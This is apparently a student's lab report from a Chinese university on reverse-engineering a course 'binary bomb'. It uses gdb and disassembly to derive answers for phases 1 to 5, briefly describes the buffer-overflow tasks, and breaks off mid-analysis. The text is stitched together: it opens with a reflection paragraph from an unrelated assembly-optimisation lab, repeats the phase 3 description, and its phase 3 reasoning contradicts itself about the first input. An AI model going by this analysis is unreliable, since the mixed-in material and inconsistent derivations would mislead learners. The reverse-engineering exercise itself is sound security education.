在实验初期, 我遇到了混合编程的环境配置问题。由于实验环境与老师推荐的方式不同, 我选择了在 Ubuntu 中运行 WSL2 并用 VS Code 连接, 这让我更加熟悉了 Linux 开发环境。通过编写 Makefile 文件, 我实现了编译、反汇编和性能测试的自动化, 这大大提高了实验效率。这个过程让我体会到工具链配置在软件开发中的重要性。

在实现汇编函数时, 我最初对寄存器使用和内存访问模式理解不深。通过反复调试和对比反汇编代码, 我逐渐掌握了如何有效利用寄存器减少内存访问次数。特别是在优化平均成绩计算函数时, 循环展开技术带来了显著的性能提升, 这让我直观感受到指令级优化的重要性。

性能对比实验给我留下了深刻印象。当看到优化后的汇编版本比 C 语言版本快 9 倍时, 我真正认识到底层优化带来的巨大收益。通过分析反汇编代码, 我理解了编译器优化的工作原理, 比如循环展开、寄存器分配等技术, 这些知识将对我未来的性能优化工作产生长远影响。

算法优化部分让我体会到不同算法的时间复杂度差异。快速排序比冒泡排序快 6-9 倍的事实, 让我更加重视算法选择在程序设计中的关键作用。同时, 我也发现编译优化级别对性能的影响, 这提醒我在实际项目中要根据需求选择合适的编译选项。

本次实验不仅巩固了我的编程基础, 还培养了我的系统级优化思维。面对性能瓶颈时, 我学会了从算法、编译器、指令集等多个层面进行分析和优化。这种跨层次的思考方式将对我后续的学习和研究工作产生积极影响。

华中科技大学

课程实验报告

课程名称： 计算机系统基础实验

实验名称： 机器级语言理解

院 系： 计算机科学与技术

专业班级： 大数据 2401

学 号： U202414649

姓 名： 赵哲煊

指导教师： 李 专

2025 年 11 月 1 日

一、实验目的与要求

(1) 通过逆向分析一个二进制程序（称为“二进制炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示各方面知识点的理解，增强反汇编、跟踪、分析、调试等能力。

(2) 通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序中的函数调用规则、栈结构等方面知识点的理解，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握。

(3) 实验环境：Ubuntu, GCC, GDB 等。使用 Microsoft VS Code 远程连接在 Ubuntu 中运行的 WSL2，便于进行操作。

二、实验内容

任务 1 二进制炸弹拆除实验

作为实验目标的二进制炸弹(binary bombs)可执行程序由多个“关”组成。每一个“关”(阶段)要求输入一个特定字符串，如果输入满足程序代码的要求，该阶段即通过，否则程序输出失败。实验的目标是设法得到解除尽可能多阶段的字符串。

为了完成二进制炸弹的拆除任务，需要通过反汇编和分析跟踪程序每一阶段的机器代码，从中定位和理解程序的主要执行逻辑，包括关键指令、控制结构和相关数据变量等等，进而推断拆除炸弹所需要的目标字符串。

阶段 1：串比较 phase_1(char *input);

要求输出的字符串(input)与程序中内置的某一特定字符串相同。提示：找到与 input 串相比较的特定串的地址，查看相应单元中的内容，从而确定 input 应输入的串。

阶段 2：循环 phase_2(char *input);

要求在一行上输入 6 个整数数据，与程序自动产生的 6 个数据进行比较，若一致，则过关。提示：将输入串 input 拆分成 6 个数据由函数 read_six_numbers(input, numbers) 完成。之后是各个数据与自动产生的数据的比较，在比较中使用了循环语句。

阶段 3：条件分支 phase_3(char *input);

要求输入一个整数数据，该数据与程序自动生成的一个数据比较，相等则过

关。提示：在自动生成数据时，使用了 `switch ... case` 语句。

阶段 3：条件分支 `phase_3(char *input)`;

要求输入一个整数数据，该数据与程序自动生成的 一个数据比较，相等则过关。提示：在自动生成数据时，使用了 `switch ... case` 语句。

阶段 4：递归调用和栈 `phase_4(char *input)`;

要求在一行中输入两个数，第一个数表示在一个有序的数组（或者 `binary search tree`）中需要搜索到的数，该数是在一定范围内的；第二个数表示找到搜索数的路径（在树的左边搜索编码为二进制位 0，在树的右边搜索编码为二进制位 1）。

阶段 5：指针和数组访问 `phase_5(char *input)`;

要求在一行中输入一个串，该串与程序自动生成的串相同。在生成串和比较串时，使用了数组和指针。

阶段 6：链表、结构、指针的访问 `phase_6(char *input)`;

要求在一行中输入 6 个数，这 6 个数是一个链表中结点的顺序号（从 1 到 6）。按照输入的顺序号，将对应链表结点中的值形成一个数组。若该数组是按照降序排列的，则过关。

任务 2 缓冲区溢出攻击实验

对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像（例如将专门设计的字节序列插入到栈中特定内存位置）和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 `getbuf` 读入一个字符串。根据不同的任务，生成相应的攻击字符串。

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。实验中需要针对目标可执行程序 `bufbomb`，分别完成多个难度递增的缓冲区溢出攻击。

第 1 级 smoke: 正常情况下，`getbuf` 函数运行结束，执行最后的 `ret` 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（`test` 函数中调用 `getbuf` 处）。要求将返回地址的值改为本级别实验的目标 `smoke` 函数的首条指令的地址，`getbuf` 函数返回时，跳转到 `smoke` 函数执行，即达到了实验的目标。

第 2 级 fizz: 要求 `getbuf` 函数运行结束后，转到 `fizz` 函数处执行。与 `smoke` 的差别是，`fizz` 函数有一个参数。`fizz` 函数中比较了参数 `val` 与全局变量 `cookie` 的值，只有两者相同（要正确打印 `val`）才能达到目标。

第 3 级 bang: 要求 `getbuf` 函数运行结束后，转到 `bang` 函数执行，并且让全局变量 `global_value` 与 `cookie` 相同（要正确打印 `global_value`）。

三、实验记录及问题回答

- 任务 1

a) phase_1

```
(gdb) break phase_1
Breakpoint 1 at 0x19a0
(gdb) run
Starting program: /home/coherent/实验3_资料/任务1: 二进制炸弹/bomb
```

执行 `gdb ./bomb` 指令之后，在命令行中输入 `break` 指令在 `phase_1` 处放置断点，再执行 `run` 指令，结果如下

```
Input your Student ID :
U202414649
welcome U202414649
You have 6 bombs to defuse!
Gate 1 : input a string that meets the requirements.
www

Breakpoint 1, 0x00005555555559a0 in phase_1 ()
```

紧接着进行对关卡一的反汇编

```

(gdb) disas phase_1
Dump of assembler code for function phase_1:
   0x000055555555998 <+0>:      endbr64
   0x00005555555599c <+4>:      push    %rbp
   0x00005555555599d <+5>:      mov     %rsp,%rbp
=>  0x0000555555559a0 <+8>:      sub     $0x20,%rsp
   0x0000555555559a4 <+12>:     mov     %rdi,-0x18(%rbp)
   0x0000555555559a8 <+16>:     movzbl 0x2af2(%rip),%eax      # 0x5555555584a1 <studentid+9>
   0x0000555555559af <+23>:     sub     $0x30,%eax
   0x0000555555559b2 <+26>:     mov     %al,-0x5(%rbp)
   0x0000555555559b5 <+29>:     movsbl -0x5(%rbp),%eax
   0x0000555555559b9 <+33>:     mov     %eax,-0x4(%rbp)
   0x0000555555559bc <+36>:     mov     -0x4(%rbp),%edx
   0x0000555555559bf <+39>:     mov     %rdx,%rax
   0x0000555555559c2 <+42>:     shl     $0x2,%rax
   0x0000555555559c6 <+46>:     add     %rdx,%rax
   0x0000555555559c9 <+49>:     lea     0x0(,%rax,4),%rdx
--Type <RET> for more, q to quit, c to continue without paging--c
   0x0000555555559d1 <+57>:     add     %rdx,%rax
   0x0000555555559d4 <+60>:     add     %rax,%rax
   0x0000555555559d7 <+63>:     lea     0x2642(%rip),%rdx      # 0x555555558020 <special>
   0x0000555555559de <+70>:     add     %rax,%rdx
   0x0000555555559e1 <+73>:     mov     -0x18(%rbp),%rax
   0x0000555555559e5 <+77>:     mov     %rdx,%rsi
   0x0000555555559e8 <+80>:     mov     %rax,%rdi
   0x0000555555559eb <+83>:     call    0x55555555569f <strings_not_equal>
   0x0000555555559f0 <+88>:     test    %eax,%eax
   0x0000555555559f2 <+90>:     je      0x5555555559f9 <phase_1+97>
   0x0000555555559f4 <+92>:     call    0x555555555977 <explode_bomb>
   0x0000555555559f9 <+97>:     nop
   0x0000555555559fa <+98>:     leave
   0x0000555555559fb <+99>:     ret
End of assembler dump.

```

找到 0x0000555555559eb <+83>: call 0x55555555569f

<strings_not_equal>, 设置断点并执行多次单步调试

```

(gdb) break *0x0000555555559f0
Breakpoint 2 at 0x5555555559f0
(gdb) stepi
0x0000555555559af in phase_1 ()

```

直至到达在 call 指令位置设置的断点

```

strings_not_equal (string1=0x0, string2=0x55555555573b
50      {
(gdb) info registers rsi
rsi      0x55555555581e2      93824992248290
(gdb) x/s $rsi
0x55555555581e2 <special+450>:  "Operating System"

```

再通过指令 x/s \$rsi 打印寄存器所指向的字符串为 Operating System

b) phase_2

同第一关，在命令行中输入 break 指令在 phase_2 处放置断点

```
(gdb) break phase_2
Breakpoint 3 at 0x55555555a04
```

再执行 run 指令，结果如下

```
Input your Student ID :
U202414649
welcome U202414649
You have 6 bombs to defuse!
Gate 1 : input a string that meets the requirements.
Operating System

Breakpoint 1, 0x00005555555559a0 in phase_1 ()
(gdb) continue
Continuing.

Breakpoint 2, 0x00005555555559f0 in phase_1 ()
(gdb) continue
Continuing.
Phase 1 passed!
Gate 2 : input six intergers that meets the requirements.
1 1 1 1 1 1

Breakpoint 3, 0x0000555555555a04 in phase_2 ()
(gdb) █
```

表示第一关已经成功通过，我们再执行两次 continue 指令到断点三的位置，依旧反汇编如下

(gdb) disas phase_2

Dump of assembler code for function phase_2:

```
0x00005555555559fc <+0>:      endbr64
0x0000555555555a00 <+4>:      push    %rbp
0x0000555555555a01 <+5>:      mov     %rsp,%rbp
=> 0x0000555555555a04 <+8>:      sub     $0x40,%rsp
0x0000555555555a08 <+12>:     mov     %rdi,-0x38(%rbp)
0x0000555555555a0c <+16>:     mov     %fs:0x28,%rax
0x0000555555555a15 <+25>:     mov     %rax,-0x8(%rbp)
0x0000555555555a19 <+29>:     xor     %eax,%eax
0x0000555555555a1b <+31>:     lea     -0x20(%rbp),%rdx
0x0000555555555a1f <+35>:     mov     -0x38(%rbp),%rax
0x0000555555555a23 <+39>:     mov     %rdx,%rsi
0x0000555555555a26 <+42>:     mov     %rax,%rdi
0x0000555555555a29 <+45>:     call    0x555555555fa <read_six_numbers>
0x0000555555555a2e <+50>:     mov     -0x20(%rbp),%eax
0x0000555555555a31 <+53>:     test    %eax,%eax
0x0000555555555a33 <+55>:     jns     0x555555555a3a <phase_2+62>
0x0000555555555a35 <+57>:     call    0x555555555977 <explode_bomb>
0x0000555555555a3a <+62>:     mov     -0x20(%rbp),%eax
0x0000555555555a3d <+65>:     movzbl 0x2a5d(%rip),%edx      # 0x555555
0x0000555555555a44 <+72>:     movsbl %dl,%edx
0x0000555555555a47 <+75>:     sub     $0x30,%edx
0x0000555555555a4a <+78>:     cmp     %edx,%eax
0x0000555555555a4c <+80>:     je      0x555555555a53 <phase_2+87>
0x0000555555555a4e <+82>:     call    0x555555555977 <explode_bomb>
0x0000555555555a53 <+87>:     mov     -0x1c(%rbp),%eax
0x0000555555555a56 <+90>:     movzbl 0x2a43(%rip),%edx      # 0x555555
0x0000555555555a5d <+97>:     movsbl %dl,%edx
0x0000555555555a60 <+100>:    sub     $0x30,%edx
0x0000555555555a63 <+103>:    cmp     %edx,%eax
0x0000555555555a65 <+105>:    je      0x555555555a6c <phase_2+112>
0x0000555555555a67 <+107>:    call    0x555555555977 <explode_bomb>
0x0000555555555a6c <+112>:    movl    $0x2,-0x24(%rbp)
0x0000555555555a73 <+119>:    jmp     0x555555555aa5 <phase_2+169>
0x0000555555555a75 <+121>:    mov     -0x24(%rbp),%eax
0x0000555555555a78 <+124>:    cltq
--Type <RET> for more, q to quit, c to continue without paging--c
0x0000555555555a7a <+126>:    mov     -0x20(%rbp,%rax,4),%edx
0x0000555555555a7e <+130>:    mov     -0x24(%rbp),%eax
0x0000555555555a81 <+133>:    sub     $0x1,%eax
0x0000555555555a84 <+136>:    cltq
0x0000555555555a86 <+138>:    mov     -0x20(%rbp,%rax,4),%ecx
0x0000555555555a8a <+142>:    mov     -0x24(%rbp),%eax
0x0000555555555a8d <+145>:    sub     $0x2,%eax
0x0000555555555a90 <+148>:    cltq
0x0000555555555a92 <+150>:    mov     -0x20(%rbp,%rax,4),%eax
0x0000555555555a96 <+154>:    add     %ecx,%eax
0x0000555555555a98 <+156>:    cmp     %eax,%edx
0x0000555555555a9a <+158>:    je      0x555555555aa1 <phase_2+165>
0x0000555555555a9c <+160>:    call    0x555555555977 <explode_bomb>
0x0000555555555aa1 <+165>:    addl    $0x1,-0x24(%rbp)
0x0000555555555aa5 <+169>:    cmpl    $0x5,-0x24(%rbp)
0x0000555555555aa9 <+173>:    jle     0x555555555a75 <phase_2+121>
0x0000555555555aab <+175>:    nop
0x0000555555555aac <+176>:    mov     -0x8(%rbp),%rax
0x0000555555555ab0 <+180>:    xor     %fs:0x28,%rax
0x0000555555555ab9 <+189>:    je      0x555555555ac0 <phase_2+196>
0x0000555555555abb <+191>:    call    0x555555555130 <__stack_chk_fail@plt>
0x0000555555555ac0 <+196>:    leave
0x0000555555555ac1 <+197>:    ret
```

End of assembler dump.

(gdb) □

循环的逻辑是：对于第 i 个整数（ i 从 2 开始到 5），它应该等于前两个整数之和。即： $arr[i] = arr[i-1] + arr[i-2]$ 所以，这六个整数应该是一个斐波那契数列，起始于 9 和 4，因此我们得到答案为 9 4 13 17 30 47

```
Gate 2 : input six intergers that meets the requirements.
9 4 13 17 30 47

Breakpoint 3, 0x000055555555a04 in phase_2 ()
(gdb) continue
Continuing.
Phase 2 passed!
```

c) phase_3

继续执行反汇编如下

```
Dump of assembler code for function phase_3:
0x000055555555ac2 <+0>:    endbr64
0x000055555555ac6 <+4>:    push    %rbp
0x000055555555ac7 <+5>:    mov     %rsp,%rbp
0x000055555555aca <+8>:    sub     $0x30,%rsp
0x000055555555ace <+12>:   mov     %rdi,-0x28(%rbp)
0x000055555555ad2 <+16>:   mov     %fs:0x28,%rax
0x000055555555adb <+25>:   mov     %rax,-0x8(%rbp)
0x000055555555adf <+29>:   xor     %eax,%eax
0x000055555555ae1 <+31>:   movl    $0x0,-0x10(%rbp)
0x000055555555ae8 <+38>:   movl    $0x0,-0xc(%rbp)
0x000055555555aef <+45>:   lea     -0x14(%rbp),%rcx
0x000055555555af3 <+49>:   lea     -0x18(%rbp),%rdx
0x000055555555af7 <+53>:   mov     -0x28(%rbp),%rax
0x000055555555afb <+57>:   lea     0x866(%rip),%rsi    # 0x555555556368
0x000055555555b02 <+64>:   mov     %rax,%rdi
0x000055555555b05 <+67>:   mov     $0x0,%eax
0x000055555555b0a <+72>:   call    0x55555555160 <__isoc99_sscanf@plt>
0x000055555555b0f <+77>:   mov     %eax,-0xc(%rbp)
0x000055555555b12 <+80>:   cmpl    $0x1,-0xc(%rbp)
0x000055555555b16 <+84>:   jg      0x55555555b1d <phase_3+91>
0x000055555555b18 <+86>:   call    0x55555555977 <explode_bomb>
0x000055555555b1d <+91>:   movzbl  0x297b(%rip),%eax    # 0x55555555849f <
0x000055555555b24 <+98>:   movsbl  %al,%eax
0x000055555555b27 <+101>:  lea     -0x30(%rax),%edx
0x000055555555b2a <+104>:  mov     -0x18(%rbp),%eax
0x000055555555b2d <+107>:  cmp     %eax,%edx
0x000055555555b2f <+109>:  je      0x55555555b36 <phase_3+116>
0x000055555555b31 <+111>:  call    0x55555555977 <explode_bomb>
0x000055555555b36 <+116>:  mov     -0x18(%rbp),%eax
0x000055555555b39 <+119>:  cmp     $0x9,%eax
0x000055555555b3c <+122>:  ja      0x55555555bbb <phase_3+249>
0x000055555555b3e <+124>:  mov     %eax,%eax
0x000055555555b40 <+126>:  lea     0x0(,%rax,4),%rdx
0x000055555555b48 <+134>:  lea     0x821(%rip),%rax    # 0x555555556370
0x000055555555b4f <+141>:  mov     (%rdx,%rax,1),%eax
0x000055555555b52 <+144>:  cltq
0x000055555555b54 <+146>:  lea     0x815(%rip),%rdx    # 0x555555556370
0x000055555555b5b <+153>:  add     %rdx,%rax
0x000055555555b5e <+156>:  notrack jmp     *%rax
0x000055555555b61 <+159>:  movl    $0x32f,-0x10(%rbp)
0x000055555555b68 <+166>:  jmp     0x55555555bc0 <phase_3+254>
```

```

0x000055555555b6a <+168>: movl $0x130,-0x10(%rbp)
0x000055555555b71 <+175>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555b73 <+177>: movl $0x184,-0x10(%rbp)
0x000055555555b7a <+184>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555b7c <+186>: movl $0x28e,-0x10(%rbp)
0x000055555555b83 <+193>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555b85 <+195>: movl $0x11c,-0x10(%rbp)
0x000055555555b8c <+202>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555b8e <+204>: movl $0x201,-0x10(%rbp)
0x000055555555b95 <+211>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555b97 <+213>: movl $0x1a9,-0x10(%rbp)
0x000055555555b9e <+220>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555ba0 <+222>: movl $0x374,-0x10(%rbp)
0x000055555555ba7 <+229>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555ba9 <+231>: movl $0x7b,-0x10(%rbp)
0x000055555555bb0 <+238>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555bb2 <+240>: movl $0x141,-0x10(%rbp)
0x000055555555bb9 <+247>: jmp 0x55555555bc0 <phase_3+254>
0x000055555555bbb <+249>: call 0x55555555977 <explode_bomb>
0x000055555555bc0 <+254>: mov -0x14(%rbp),%eax
0x000055555555bc3 <+257>: cmp %eax,-0x10(%rbp)
0x000055555555bc6 <+260>: je 0x55555555bcd <phase_3+267>
0x000055555555bc8 <+262>: call 0x55555555977 <explode_bomb>
0x000055555555bcd <+267>: nop
0x000055555555bce <+268>: mov -0x8(%rbp),%rax
0x000055555555bd2 <+272>: xor %fs:0x28,%rax
0x000055555555bdb <+281>: je 0x55555555be2 <phase_3+288>
0x000055555555bdd <+283>: call 0x55555555130 <__stack_chk_fail>
0x000055555555be2 <+288>: leave
0x000055555555be3 <+289>: ret
End of assembler dump.
(gdb)

```

第三关要求输入两个整数。程序首先通过 `sscanf` 函数检查输入格式，必须成功读取两个十进制整数，否则引爆炸弹。第一个整数的验证基于学号信息：程序从学号“U202414649”的第 8 个字符（字符‘6’）提取数字，因此第一个输入整数必须为 6。

第二个整数的确定依赖于跳转表机制。程序根据第一个整数的值（0-9 范围）选择不同的执行路径。当第一个整数为 4 时，程序跳转到对应的 case 6 分支，将固定值 0x1a9 存入比较区域。最终程序会检查第二个输入整数是否与此值相等，因此第二个整数必须为 425。

因此答案为 6 425。

```

(gdb) continue
Continuing.
Phase 3 passed!

```

d) `phase_4`

接着在 `phase_4` 的位置放置断点，再执行反汇编


```

Dump of assembler code for function phase_4:
0x000055555555c5e <+0>:    endbr64
0x000055555555c62 <+4>:    push    %rbp
0x000055555555c63 <+5>:    mov     %rsp,%rbp
=> 0x000055555555c66 <+8>:    sub     $0x30,%rsp
0x000055555555c6a <+12>:   mov     %rdi,-0x28(%rbp)
0x000055555555c6e <+16>:   mov     %fs:0x28,%rax
0x000055555555c77 <+25>:   mov     %rax,-0x8(%rbp)
0x000055555555c7b <+29>:   xor     %eax,%eax
0x000055555555c7d <+31>:   lea     -0x18(%rbp),%rcx
0x000055555555c81 <+35>:   lea     -0x1c(%rbp),%rdx
0x000055555555c85 <+39>:   mov     -0x28(%rbp),%rax
0x000055555555c89 <+43>:   lea     0x6d8(%rip),%rsi    # 0x5555555563
0x000055555555c90 <+50>:   mov     %rax,%rdi
0x000055555555c93 <+53>:   mov     $0x0,%eax
0x000055555555c98 <+58>:   call    0x55555555160 <__isoc99_sscanf@plt>
0x000055555555c9d <+63>:   mov     %eax,-0x14(%rbp)
0x000055555555ca0 <+66>:   cmpl    $0x2,-0x14(%rbp)
0x000055555555ca4 <+70>:   jne     0x55555555cb5 <phase_4+87>
0x000055555555ca6 <+72>:   mov     -0x1c(%rbp),%eax
0x000055555555ca9 <+75>:   test    %eax,%eax
0x000055555555cab <+77>:   js      0x55555555cb5 <phase_4+87>
0x000055555555cad <+79>:   mov     -0x1c(%rbp),%eax
0x000055555555cb0 <+82>:   cmp     $0xe,%eax
0x000055555555cb3 <+85>:   jle     0x55555555cba <phase_4+92>
0x000055555555cb5 <+87>:   call    0x55555555977 <explode_bomb>
0x000055555555cba <+92>:   movl    $0x7,-0x10(%rbp)
0x000055555555cc1 <+99>:   mov     -0x1c(%rbp),%eax
0x000055555555cc4 <+102>:  mov     $0xe,%edx
0x000055555555cc9 <+107>:  mov     $0x0,%esi
0x000055555555cce <+112>:  mov     %eax,%edi
0x000055555555cd0 <+114>:  call    0x55555555be4 <func4>
0x000055555555cd5 <+119>:  mov     %eax,-0xc(%rbp)
0x000055555555cd8 <+122>:  mov     -0xc(%rbp),%eax
0x000055555555cdb <+125>:  cmp     -0x10(%rbp),%eax
0x000055555555cde <+128>:  jne     0x55555555ce8 <phase_4+138>
0x000055555555ce0 <+130>:  mov     -0x18(%rbp),%eax
0x000055555555ce3 <+133>:  cmp     %eax,-0x10(%rbp)
0x000055555555ce6 <+136>:  je      0x55555555ced <phase_4+143>
0x000055555555ce8 <+138>:  call    0x55555555977 <explode_bomb>
0x000055555555ced <+143>:  nop
0x000055555555cee <+144>:  mov     -0x8(%rbp),%rax

0x000055555555cf2 <+148>:  xor     %fs:0x28,%rax
0x000055555555cfb <+157>:  je      0x55555555d02 <phase_4+164>
0x000055555555cfd <+159>:  call    0x55555555130 <__stack_chk_fail@plt>
0x000055555555d02 <+164>:  leave
0x000055555555d03 <+165>:  ret
End of assembler dump.

```

注意到 call 指令跳转到了 func4 的位置，因此再(gdb) disas func4 得到


```

Dump of assembler code for function func4:
0x000055555555be4 <+0>:    endbr64
0x000055555555be8 <+4>:    push    %rbp
0x000055555555be9 <+5>:    mov     %rsp,%rbp
0x000055555555bec <+8>:    sub     $0x20,%rsp
0x000055555555bf0 <+12>:   mov     %edi,-0x14(%rbp)
0x000055555555bf3 <+15>:   mov     %esi,-0x18(%rbp)
0x000055555555bf6 <+18>:   mov     %edx,-0x1c(%rbp)
0x000055555555bf9 <+21>:   mov     -0x1c(%rbp),%eax
0x000055555555bfc <+24>:   sub     -0x18(%rbp),%eax
0x000055555555bff <+27>:   mov     %eax,%edx
0x000055555555c01 <+29>:   shr     $0x1f,%edx
0x000055555555c04 <+32>:   add     %edx,%eax
0x000055555555c06 <+34>:   sar     $1,%eax
0x000055555555c08 <+36>:   mov     %eax,%edx
0x000055555555c0a <+38>:   mov     -0x18(%rbp),%eax
0x000055555555c0d <+41>:   add     %edx,%eax
0x000055555555c0f <+43>:   mov     %eax,-0x4(%rbp)
0x000055555555c12 <+46>:   mov     -0x4(%rbp),%eax
0x000055555555c15 <+49>:   cmp     -0x14(%rbp),%eax
0x000055555555c18 <+52>:   jle     0x55555555c33 <func4+79>
0x000055555555c1a <+54>:   mov     -0x4(%rbp),%eax
0x000055555555c1d <+57>:   lea     -0x1(%rax),%edx
0x000055555555c20 <+60>:   mov     -0x18(%rbp),%ecx
0x000055555555c23 <+63>:   mov     -0x14(%rbp),%eax
0x000055555555c26 <+66>:   mov     %ecx,%esi
0x000055555555c28 <+68>:   mov     %eax,%edi
0x000055555555c2a <+70>:   call    0x55555555be4 <func4>
0x000055555555c2f <+75>:   add     %eax,%eax
0x000055555555c31 <+77>:   jmp     0x55555555c5c <func4+120>
0x000055555555c33 <+79>:   mov     -0x4(%rbp),%eax
0x000055555555c36 <+82>:   cmp     -0x14(%rbp),%eax
0x000055555555c39 <+85>:   jge     0x55555555c57 <func4+115>
0x000055555555c3b <+87>:   mov     -0x4(%rbp),%eax
0x000055555555c3e <+90>:   lea     0x1(%rax),%ecx
0x000055555555c41 <+93>:   mov     -0x1c(%rbp),%edx
0x000055555555c44 <+96>:   mov     -0x14(%rbp),%eax
0x000055555555c47 <+99>:   mov     %ecx,%esi
0x000055555555c49 <+101>:  mov     %eax,%edi
0x000055555555c4b <+103>:  call    0x55555555be4 <func4>
0x000055555555c50 <+108>:  add     %eax,%eax
0x000055555555c52 <+110>:  add     $0x1,%eax

0x000055555555c55 <+113>:  jmp     0x55555555c5c <func4+120>
0x000055555555c57 <+115>:  mov     $0x0,%eax
0x000055555555c5c <+120>:  leave
0x000055555555c5d <+121>:  ret
End of assembler dump.

```

第四关要求输入两个整数，程序会通过一系列检查来验证输入的正确性。从反汇编代码可以看出，程序首先使用 `sscanf` 函数解析输入字符串，确保它包含两个十进制整数。如果输入格式不正确（例如，不是两个整数），程序会立即调用 `explode_bomb` 函数引爆炸弹。

第一个整数（存储在栈地址 `-0x1c(%rbp)`）必须满足范围条件：它必须在 0 到 14 之间（包括 0 和 14）。代码中通过 `cmp $0xe, %eax` 指令进行比较，如果整数小于 0 或大于 14，就会引爆炸弹。接着，程序调用 `func4` 函数，参数为第一个整数、0 和 14（即 `func4(x, 0, 14)`）。`func4` 是一个递

归函数，其返回值必须等于 7 才能通过验证。

第二个整数（存储在栈地址 `-0x18(%rbp)`）的验证相对直接：它必须精确等于 7。程序通过 `cmp %eax, -0x10(%rbp)` 指令进行比较，其中 `-0x10(%rbp)` 被硬编码为 7（通过 `movl $0x7, -0x10(%rbp)` 指令）。如果第二个整数不等于 7，也会引爆炸弹。关键点在于 `func4` 函数的逻辑。通过分析它的递归结构，我们发现它类似于二分搜索算法：计算中间值，然后根据比较结果递归调用自身。

最终，我们确定当第一个整数为 14 时，`func4(14, 0, 14)` 的返回值恰好为 7。因此，第四关的正确答案是 14 7。

```
Gate 4 : input 2 intergers and a string.
14 7
Phase 4 passed!
```

e) `phase_5`

接着在 `phase_5` 的位置设置断点，执行反汇编如下

```
Dump of assembler code for function phase_5:
0x000055555555d04 <+0>:    endbr64
0x000055555555d08 <+4>:    push    %rbp
0x000055555555d09 <+5>:    mov     %rsp,%rbp
=> 0x000055555555d0c <+8>:    sub     $0x30,%rsp
0x000055555555d10 <+12>:   mov     %rdi,-0x28(%rbp)
0x000055555555d14 <+16>:   mov     %fs:0x28,%rax
0x000055555555d1d <+25>:   mov     %rax,-0x8(%rbp)
0x000055555555d21 <+29>:   xor     %eax,%eax
0x000055555555d23 <+31>:   mov     -0x28(%rbp),%rax
0x000055555555d27 <+35>:   mov     %rax,%rdi
0x000055555555d2a <+38>:   call    0x55555555669 <string_length>
0x000055555555d2f <+43>:   mov     %eax,-0x14(%rbp)
0x000055555555d32 <+46>:   cmpl    $0x6,-0x14(%rbp)
0x000055555555d36 <+50>:   je      0x55555555d3d <phase_5+57>
0x000055555555d38 <+52>:   call    0x55555555977 <explode_bomb>
0x000055555555d3d <+57>:   movl    $0x0,-0x18(%rbp)
0x000055555555d44 <+64>:   jmp     0x55555555d76 <phase_5+114>
0x000055555555d46 <+66>:   mov     -0x18(%rbp),%eax
0x000055555555d49 <+69>:   movslq  %eax,%rdx
0x000055555555d4c <+72>:   mov     -0x28(%rbp),%rax
0x000055555555d50 <+76>:   add     %rdx,%rax
0x000055555555d53 <+79>:   movzbl  (%rax),%eax
0x000055555555d56 <+82>:   movsbl  %al,%eax
0x000055555555d59 <+85>:   and     $0xf,%eax
0x000055555555d5c <+88>:   cltq
0x000055555555d5e <+90>:   lea     0x25cb(%rip),%rdx        # 0x555555
0x000055555555d65 <+97>:   movzbl  (%rax,%rdx,1),%edx
0x000055555555d69 <+101>:  mov     -0x18(%rbp),%eax
0x000055555555d6c <+104>:  cltq
0x000055555555d6e <+106>:  mov     %dl,-0xf(%rbp,%rax,1)
0x000055555555d72 <+110>:  addl    $0x1,-0x18(%rbp)
0x000055555555d76 <+114>:  cmpl    $0x5,-0x18(%rbp)
0x000055555555d7a <+118>:  jle     0x55555555d46 <phase_5+66>
0x000055555555d7c <+120>:  movb    $0x0,-0x9(%rbp)
0x000055555555d80 <+124>:  lea     -0xf(%rbp),%rax
0x000055555555d84 <+128>:  lea     0x60d(%rip),%rsi        # 0x555555
0x000055555555d8b <+135>:  mov     %rax,%rdi
0x000055555555d8e <+138>:  call    0x5555555569f <strings_not_equal>
0x000055555555d93 <+143>:  test    %eax,%eax
0x000055555555d95 <+145>:  je      0x55555555d9c <phase_5+152>
0x000055555555d97 <+147>:  call    0x55555555977 <explode_bomb>
```

```

0x000055555555d9c <+152>:  nop
0x000055555555d9d <+153>:  mov     -0x8(%rbp),%rax
0x000055555555da1 <+157>:  xor     %fs:0x28,%rax
0x000055555555daa <+166>:  je      0x55555555db1 <phase_5+173>
0x000055555555dac <+168>:  call    0x55555555130 <__stack_chk_fail@plt>
0x000055555555db1 <+173>:  leave
0x000055555555db2 <+174>:  ret
End of assembler dump.

```

第五关要求输入一个长度为 6 的字符串。程序首先会对输入字符串的长度进行验证，如果长度不等于 6，程序会立即引爆炸弹，导致关卡失败。

通过长度检查后，程序进入一个字符处理循环。这个循环会逐个处理输入字符串中的 6 个字符。对于每个字符，程序会提取其 ASCII 码的低 4 位（通过位与操作实现），然后将这 4 位值作为一个索引值。

程序使用这个索引值从一个预定义的字符数组（位于内存地址 0x555555558330）中查找对应的字符。这个数组包含了 16 个不同的字符，每个索引位置对应一个特定字符。

处理完所有 6 个字符后，程序会将这些从数组中查找到的字符组合成一个新的字符串，然后将这个新生成的字符串与一个预设的目标字符串（位于内存地址 0x555555556398）进行比较。只有当两个字符串完全相同时，关卡才能成功通过，否则会引爆炸弹。

接着我们需要获取 array.3096 数组的内容

```

(gdb) x/16cb 0x555555558330
0x555555558330 <array.3096>:  109 'm' 97 'a' 100 'd' 117 'u' 105 'i' 101 'e' 114 'r' 115 's'
0x555555558338 <array.3096+8>: 110 'n' 102 'f' 111 'o' 116 't' 118 'v' 98 'b' 121 'y' 108 'l'

```

以及目标字符串的内容

```

(gdb) x/s 0x555555556398
0x555555556398: "bruins"

```

关键发现：通过分析程序代码，我发现了两个重要的数据要素：第一，程序使用一个包含 16 个字符的映射数组“maduiersnfotvbyl”；第二，程序期望的最终比较结果为“bruins”。

